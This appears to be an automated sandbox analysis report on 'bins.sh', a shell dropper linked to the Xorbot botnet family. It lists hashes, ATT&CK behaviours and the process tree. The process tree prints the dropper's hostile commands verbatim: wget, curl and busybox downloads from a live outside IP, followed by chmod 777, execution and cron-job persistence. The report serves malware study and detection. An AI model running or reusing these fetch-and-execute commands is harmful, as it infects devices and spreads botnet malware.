Analysis
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max time kernel
150s -
max time network
151s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
03-12-2024 02:11
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
1da16902d7c5601131994e6c7188579b
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SHA1
66658b1510c47b2293d64f6f29ffadfaac1ba126
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SHA256
a527f457c05c52627d9ac88b3fb6f7dd65b7de796e8c1bab1d761c3dd2a83dc6
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SHA512
c9959bb121b46e0ff62f2750ea6927810ae204a778e28ba2db6f9a2dee9b38296642c45af45fcb9f8f25c84402e45e50009c3c119db97b18d06ea84dda785fb4
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SSDEEP
192:k2c41phAQq2Si/XdccYcXTOU1phAQkLG2Si/XU/YO:k2c41phAQq2Si/XdccYcXTOU1phAQkLC
Malware Config
Signatures
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Processes:
resource yara_rule behavioral4/files/fstream-1.dat family_xorbot behavioral4/files/fstream-10.dat family_xorbot behavioral4/files/fstream-11.dat family_xorbot behavioral4/files/fstream-12.dat family_xorbot -
Xorbot family
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Contacts a large (1676) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodchmodpid Process 889 chmod 906 chmod 915 chmod 741 chmod 748 chmod 767 chmod -
Executes dropped EXE 6 IoCs
Processes:
OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1vOY9PxORiT1XYizjwa6iPHyapwMlonbXIAtrJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtMu84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPiOgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9ioc pid Process /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5 742 OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5 /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1 749 p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1 /tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA 768 vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA /tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM 890 trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM /tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi 907 u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi /tmp/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9 916 OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9 -
Renames itself 1 IoCs
Processes:
vOY9PxORiT1XYizjwa6iPHyapwMlonbXIApid Process 769 vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.SYJkOe crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
vOY9PxORiT1XYizjwa6iPHyapwMlonbXIAcrontabcrontabdescription ioc Process File opened for reading /proc/374/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/857/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/6/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/865/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/969/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/1027/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/887/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/filesystems crontab File opened for reading /proc/15/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/17/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/19/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/146/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/787/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/930/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/1028/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/804/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/921/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/1/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/316/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/939/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/1018/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/882/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/897/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/912/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/341/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/701/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/833/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/848/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/852/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/972/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/1004/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/916/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/861/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/886/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/896/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/filesystems crontab File opened for reading /proc/343/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/919/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/950/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/1026/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/383/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/900/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/76/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/832/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/842/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/1017/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/1021/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/77/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/817/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/844/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/935/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/978/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/936/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/960/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/985/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/14/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/116/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/864/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/867/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/876/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/999/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/7/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/16/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA File opened for reading /proc/859/cmdline vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA -
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
Processes:
curlbusyboxvOY9PxORiT1XYizjwa6iPHyapwMlonbXIArmwgetpid Process 753 curl 763 busybox 768 vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA 777 rm 752 wget -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxbusyboxbusyboxbusyboxwgetcurlwgetcurlbusyboxbusyboxdescription ioc Process File opened for modification /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5 wget File opened for modification /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5 curl File opened for modification /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1 busybox File opened for modification /tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA busybox File opened for modification /tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM busybox File opened for modification /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5 busybox File opened for modification /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1 wget File opened for modification /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1 curl File opened for modification /tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA wget File opened for modification /tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA curl File opened for modification /tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi busybox File opened for modification /tmp/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9 busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:709
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/bin/rm/bin/rm bins.sh2⤵PID:715
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/usr/bin/wgetwget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO52⤵
- Writes file to tmp directory
PID:717
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/usr/bin/curlcurl -O http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO52⤵
- Writes file to tmp directory
PID:732
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO52⤵
- Writes file to tmp directory
PID:740
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/bin/chmodchmod 777 OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO52⤵
- File and Directory Permissions Modification
PID:741
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/tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5./OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO52⤵
- Executes dropped EXE
PID:742
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/bin/rmrm OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO52⤵PID:744
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/usr/bin/wgetwget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B12⤵
- Writes file to tmp directory
PID:745
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/usr/bin/curlcurl -O http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B12⤵
- Writes file to tmp directory
PID:746
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B12⤵
- Writes file to tmp directory
PID:747
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/bin/chmodchmod 777 p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B12⤵
- File and Directory Permissions Modification
PID:748
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/tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1./p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B12⤵
- Executes dropped EXE
PID:749
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/bin/rmrm p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B12⤵PID:751
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/usr/bin/wgetwget http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:752
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/usr/bin/curlcurl -O http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:753
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:763
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/bin/chmodchmod 777 vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA2⤵
- File and Directory Permissions Modification
PID:767
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/tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA./vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
- System Network Configuration Discovery
PID:768 -
/bin/shsh -c "crontab -l"3⤵PID:770
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:771
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/bin/shsh -c "crontab -"3⤵PID:774
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:775
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/bin/rmrm vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA2⤵
- System Network Configuration Discovery
PID:777
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/usr/bin/wgetwget http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM2⤵PID:782
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/usr/bin/curlcurl -O http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM2⤵PID:784
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM2⤵
- Writes file to tmp directory
PID:870
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/bin/chmodchmod 777 trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM2⤵
- File and Directory Permissions Modification
PID:889
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/tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM./trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM2⤵
- Executes dropped EXE
PID:890
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/bin/rmrm trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM2⤵PID:894
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/usr/bin/wgetwget http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi2⤵PID:896
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/usr/bin/curlcurl -O http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi2⤵PID:898
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi2⤵
- Writes file to tmp directory
PID:900
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/bin/chmodchmod 777 u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi2⤵
- File and Directory Permissions Modification
PID:906
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/tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi./u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi2⤵
- Executes dropped EXE
PID:907
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/bin/rmrm u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi2⤵PID:909
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/usr/bin/wgetwget http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt92⤵PID:910
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/usr/bin/curlcurl -O http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt92⤵PID:912
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt92⤵
- Writes file to tmp directory
PID:913
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/bin/chmodchmod 777 OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt92⤵
- File and Directory Permissions Modification
PID:915
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/tmp/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9./OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt92⤵
- Executes dropped EXE
PID:916
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/bin/rmrm OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt92⤵PID:918
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/usr/bin/wgetwget http://216.126.231.240/bins/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z2⤵PID:919
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
210B
MD505ba8f2ba8899f61ea7b8cee80320cf0
SHA16154595e13e4079f654793f358717d4a216dc144
SHA256de55fa6e8d2a56d7f7f3cf3b90bcaaa6a337ebf66687387e40a146e11f2e6077
SHA5125dd555e8711f934599a68a909bd1ee5654f62ede6eb8e9dcf7c7b8a85bc0b6283ee104a28f6ab60f2ba4dabea8cf7178f372ae0af6599f15206d1b65b358c4ac